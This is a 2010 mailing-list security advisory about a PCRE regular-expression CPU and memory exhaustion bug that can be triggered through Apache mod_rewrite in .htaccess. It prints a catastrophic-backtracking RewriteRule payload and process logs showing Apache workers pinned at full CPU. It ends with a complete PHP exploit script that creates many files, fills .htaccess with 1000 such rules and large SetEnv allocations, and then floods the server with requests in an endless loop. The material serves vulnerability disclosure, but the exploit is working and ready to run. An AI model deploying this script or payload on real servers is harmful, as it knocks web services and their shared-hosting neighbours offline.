[pcre-dev] PCRE 8.10 CPU Resource Exhaustion (+PoC apache lo…

Top Page
Delete this message
Author: Maksymilian Arciemowicz
Date:  
To: pcre-dev
Subject: [pcre-dev] PCRE 8.10 CPU Resource Exhaustion (+PoC apache local-dos)
[ PCRE 8.10 CPU Resource Exhaustion (+PoC apache local-dos) ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: xxxx
- - Pub.: xxxxxxxxxxxxxxxxx.10.2010


Affected (tested):
- - Ubuntu 10.10 (Apache 2.2.17)
- - NetBSD 5.1 (Apache 2.2.17)

Original URL:
http://securityreason.com/achievement_securityalert/XX


- --- 0.Description ---
PCRE - Perl Compatible Regular Expressions

The PCRE library is a set of functions that implement regular expression
pattern matching using the same syntax and semantics as Perl 5. PCRE has
its own native API, as well as a set of wrapper functions that
correspond to the POSIX regular expression API. The PCRE library is
free, even for building proprietary software.

- --- 1. Resource Exhaustion ---
Many versions of regular expressions, has no control over what executes.
PCRE dosen't control, tags like:

.*
(\w+)
+
etc

So, what happen when we use:

".*.*"

Logically, .*.* should be equivalent .* Unfortunately, it is different.

let's see what will happen in firefox for this:

.*.*.*(\w+)$1

Nothing special.

Try this:

.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(\w+)$1

result in Firefox javascirpt:
"Warning: Unresponsive script"

Now we see different.
Extending this error, we may suspend the apache daemon with mod_rewrite.

- -.htaccess---
RewriteEngine On
RewriteRule
((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\
w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+))
/$1
- -.htaccess---

cx@cx64:/www/czarnadupa$ ls -la
total 12
drwxr-xr-x 2 cx cx 4096 2010-10-25 00:06 .
drwxr-xr-x 6 cx root 4096 2010-10-25 00:04 ..
- -rw-r--r-- 1 cx cx 1252 2010-10-25 00:06 .htaccess
cx@cx64:/www/czarnadupa$ cat .htaccess
RewriteEngine On
RewriteRule
((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\
w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+))
/$1

from another console, let's try connect with apache via curl

cx@cx64:~$ curl http://127.0.0.1/czarnadupa/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /czarnadupa</title>
..

result will be generated with 3.35sec delay. If we use multiple time
RewriteRule, we can lengthen to 6,9,12,.. sec.

Let's back to first terminal and create 1000 files

cx@cx64:/www/czarnadupa$ php -r
'for($a=0;$a<1000;$a++){$f=fopen("test".$a,"a");fclose($f);}'
cx@cx64:/www/czarnadupa$ ls
test0    test210  test323  test436  test549  test661  test774  test887
test1    test211  test324  test437  test55   test662  test775  test888
test10   test212  test325  test438  test550  test663  test776  test889
...


and now try to connect via curl. For !!!ONE!!! RewriteRule in .htaccess,
it will be more as 3 sec.

www-data 11177 31.2  0.2 177888  6520 ?        R    00:06   3:25
/usr/sbin/apache2 -k start


3.25min and CPU 100%

and in end with 7min delay! If we use two times RewriteRule in
.htaccess, that will be ~14min ?

www-data 11180 45.8  0.2 177888  6520 ?        R    00:06  14:01
/usr/sbin/apache2 -k start
www-data 11180 45.8  0.2 177888  6804 ?        S    00:06  14:03
/usr/sbin/apache2 -k start


exacly 14:01 min.

Now is comming question "What will happen, when we create .htaccess with
many RewriteRule?"
The answer is simple and you can calculate it self. But if we will more
that 7min for one RewriteRule, we need create more files in attacked
directory. For 2 files, it was 3 sec, for 1002 files, it was 7min.
Off course we can also change value of RewriteRule to increase
complexity however, i will not show the details.

The main problem is that the any process is working 100% CPU. So what
will happen when we disconnect and connect again?

Now think what happens when we create the 2,000 files and a thousand
RewriteRule. Then create loop what connect/disconnect with apache.

www-data 11177 10.2  0.2 177888  6792 ?        S    00:06   7:00
/usr/sbin/apache2 -k start
www-data 11178  0.0  0.2 177756  6520 ?        S    00:06   0:03
/usr/sbin/apache2 -k start
www-data 11179  0.0  0.2 177756  6520 ?        S    00:06   0:03
/usr/sbin/apache2 -k start
www-data 11180 20.5  0.2 177888  6804 ?        S    00:06  14:03
/usr/sbin/apache2 -k start
www-data 11181 47.4  0.6 190776 19444 ?        R    00:06  32:29
/usr/sbin/apache2 -k start
www-data 11262  0.0  0.1 177624  5772 ?        S    00:09   0:00
/usr/sbin/apache2 -k start


www-data 11178  0.0  0.2 177756  6512 ?        S    00:06   0:03
/usr/sbin/apache2 -k start
www-data 11179  0.0  0.2 177756  6512 ?        S    00:06   0:03
/usr/sbin/apache2 -k start
www-data 11180 14.0  0.2 177888  6796 ?        S    00:06  14:03
/usr/sbin/apache2 -k start
www-data 11181 63.4  0.6 190776 19436 ?        R    00:06  63:18
/usr/sbin/apache2 -k start
www-data 11262  0.0  0.1 177624  5764 ?        S    00:09   0:00
/usr/sbin/apache2 -k start


Now let's see to docs from apache22

http://httpd.apache.org/docs/current/mod/core.html#rlimitmem

- -
This applies to processes forked off from Apache children servicing
requests, not the Apache children themselves. This includes CGI scripts
and SSI exec commands, but not any processes forked off from the Apache
parent such as piped logs.
- -

So rlimitmem don't protect us before memory exhausion. Only variables
from lgoin.conf od pam, can protect apache childrens before attack. But
if one apache child can contain example ~256MB, we can use SetEnv in
.htaccess to alloacate random data in memory.

Logs:
4613 www-data 20 0 298m 130m 944 R 64 4.3 0:03.20 apache2

4614 www-data 20 0 295m 127m 944 R 42 4.2 0:02.11 apache2

4615 www-data 20 0 280m 113m 944 R 25 3.7 0:01.24 apache2

or httpd will reach MaxClient

www-data  1620  9.2  4.8 563252 148340 ?       R    12:26   5:08
/usr/sbin/apache2 -k start
www-data  1621  9.4  4.7 564064 145976 ?       R    12:26   5:13
/usr/sbin/apache2 -k start
www-data  1622  9.2  4.6 563252 144484 ?       R    12:26   5:07
/usr/sbin/apache2 -k start
www-data  1623  9.2  4.7 563524 147264 ?       R    12:26   5:09
/usr/sbin/apache2 -k start
www-data  2361  9.6  4.5 563524 139140 ?       R    12:28   5:11
/usr/sbin/apache2 -k start
www-data  2362  9.6  4.4 563388 137856 ?       R    12:28   5:10
/usr/sbin/apache2 -k start
www-data  2363  9.5  4.4 562980 136792 ?       R    12:28   5:07
/usr/sbin/apache2 -k start
www-data  2365  9.5  4.1 562980 129048 ?       R    12:28   5:06
/usr/sbin/apache2 -k start
www-data  2366  9.5  3.8 562844 120308 ?       R    12:28   5:06
/usr/sbin/apache2 -k start
www-data  2367  9.5  3.8 562980 119300 ?       R    12:28   5:07
/usr/sbin/apache2 -k start
www-data  2368  9.6  3.7 563116 117176 ?       R    12:28   5:09
/usr/sbin/apache2 -k start
www-data  2369  9.6  3.7 563116 114492 ?       R    12:28   5:09
/usr/sbin/apache2 -k start
www-data  2370  9.5  3.4 562708 107224 ?       R    12:28   5:05
/usr/sbin/apache2 -k start
www-data  2372  9.5  3.7 562708 116324 ?       R    12:28   5:06
/usr/sbin/apache2 -k start
www-data  2373  9.5  4.0 562844 125068 ?       R    12:28   5:06
/usr/sbin/apache2 -k start
www-data  2374  9.6  3.5 563116 110868 ?       R    12:28   5:09
/usr/sbin/apache2 -k start
www-data  2375  9.6  4.1 562980 128492 ?       R    12:28   5:08
/usr/sbin/apache2 -k start
www-data  2377  9.6  4.4 562980 135968 ?       R    12:28   5:08
/usr/sbin/apache2 -k start
www-data  2378  9.6  4.7 562980 145420 ?       D    12:28   5:08
/usr/sbin/apache2 -k start
...


any apache children will generate 100% CPU usage.
Some may say that the duration of PCRE can be limited. However, we are
able to provide any computational complexity of mod_rewrite like

3127 94.4  9.3 645716 289020 ?       R    13:23 193:50 /usr/sbin/apache2
- -k start



- --- 2.Exploit ---
Remove .htaccess before running this script from www or simple use
command line

<?php
/*
Version 0.3:
Apache 2.2.17 Regular Expression DoS (+PoC: .htaccess mod_rewrite local)
Author: Maksymilian Arciemowicz

Create this script in writable directory.

*/

// To connect localy
$localhost="127.0.0.1"; // localhost
$localport=80; // localport
$localuri="/japa/"; // directory from GET line (where .htaccess is
localized)
$xa=10000; // * 1024 chars allocated with SetEnv
$fa=1000; // mod_rewrite rules
$files=1024; // create n files


if(!is_writable(".")) die("!writable");

// Phase 1 Create fake file structure
while($files--)
    if(!file_exists("testtesttesttesttesttesttesttest".$files)){ //change
test to another name. it help in CPU exhausion
        $f=fopen("testtesttesttesttesttesttesttest".$files,"a");
        fclose($f);
    }



// Phase 2 Create a lot of data with SetEnv to allocate
@unlink("./.htaccess");
$htaccess=fopen("./.htaccess", "a");
while($xa--)
    fwrite($htaccess,"SetEnv XXXXXX".$xa." ".str_repeat("A",1024)."\n"); //
alocate a lot of data to memory


fwrite($htaccess,"RewriteEngine On\n");
while($fa--)
    fwrite($htaccess,"RewriteRule
((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\
w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+))
/$1\n");
fwrite($htaccess,"\n");



// Phase 3 connect<>disconnect
while(1){
 $fp = fsockopen($localhost, $localport, $errno, $errstr, 30);
  if (!$fp) {
    echo "$errstr ($errno)<br />\n";
  } else {
    $out = "GET ".$localuri." HTTP/1.1\r\n";
    $out .= "Host: localhost\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    fclose($fp);
    sleep(1); // wait a second
  }
}


?>

- --- 3. Greets ---
sp3x, Infospec, Adam Zabrocki 'pi3'


- --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/
- -- 
Best Regards
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@???>
sub   4096R/58BA663C 2010-09-19